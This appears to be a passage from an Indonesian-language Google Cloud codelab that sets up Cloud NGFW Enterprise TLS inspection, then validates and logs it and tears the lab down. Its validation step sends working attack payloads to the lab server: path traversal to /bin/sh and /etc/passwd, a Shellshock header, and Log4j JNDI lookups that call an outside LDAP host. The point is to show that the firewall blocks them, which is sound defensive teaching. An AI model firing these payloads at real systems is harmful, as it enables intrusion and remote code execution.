      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Impor konfigurasi kepercayaan:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Perbarui file YAML Kebijakan TLS untuk menyertakan konfigurasi kepercayaan:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Impor Kebijakan TLS yang diperbarui:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Memvalidasi Pemeriksaan TLS E/W

Kembali ke klien melalui SSH untuk menguji traffic E/W dengan konfigurasi kepercayaan yang diperbarui:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Jalankan contoh permintaan TLS ke server:

curl https://$target_privateip --max-time 2

Jika Anda masih mendapatkan output di bawah, harap tunggu hingga update diterapkan.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Output yang diharapkan:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Kirim traffic pengujian berbahaya ke server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Output yang diharapkan:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Tidak ada respons yang diterima sesuai dengan output yang diharapkan di bawah, yang mengonfirmasi bahwa contoh serangan kini diblokir untuk E/W.

13. Logging

Buka Logging > Logs Explorer melalui Cloud Console, masukkan filter di bawah, lalu buat kueri log. Ganti [PROJECT_ID] dengan project_id Anda:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Entri log Cloud NGFW Enterprise akan terlihat mirip seperti di bawah ini:

5b68cc1063c0f4bd.png

Luaskan entri log dan perhatikan bahwa serangan yang dikirim dari VM klien ke server diidentifikasi dan diblokir (Kerentanan Eksekusi Kode Jarak Jauh Apache Log4j seperti pada screenshot di bawah).

478f18f8481e90ed.png

Anda telah berhasil men-deploy Cloud NGFW Enterprise dengan TLS Inspection untuk memblokir permintaan berbahaya.

Lanjutkan ke bagian berikutnya untuk mengetahui langkah-langkah pembersihan.

14. Langkah-langkah Pembersihan

Pembersihan Penyiapan Dasar

Hapus instance:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Lakukan langkah-langkah di bawah jika peran tagAdmin dan tagUsers diubah:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Hapus kunci dan nilai Tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Hapus Kebijakan Jaringan Firewall Cloud dan pengaitan:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Hapus Cloud Router dan Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Hapus alamat IP yang dicadangkan:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Pembersihan TLS, Asosiasi, dan SPG Cloud Firewall

Hapus Grup Profil Keamanan dan Profil Ancaman dalam urutan ini:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Hapus pengaitan endpoint Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Hapus endpoint Cloud Firewall, yang dapat memerlukan waktu sekitar 20 menit:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Secara opsional, konfirmasi bahwa endpoint Cloud NGFW telah dihapus dengan menjalankan perintah di bawah:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Status untuk endpoint akan menampilkan:

STATE: DELETING

Setelah selesai, endpoint tidak akan lagi tercantum.

Hapus Kebijakan TLS dan Konfigurasi Kepercayaan dalam urutan ini:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Nonaktifkan dan hapus Root CA dan CA Pool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Pembersihan Subnet dan VPC

Terakhir, hapus subnet dan jaringan VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Selamat!

Selamat, Anda telah berhasil menyelesaikan codelab Cloud NGFW Enterprise untuk Inspeksi TLS East-West dan Northbound.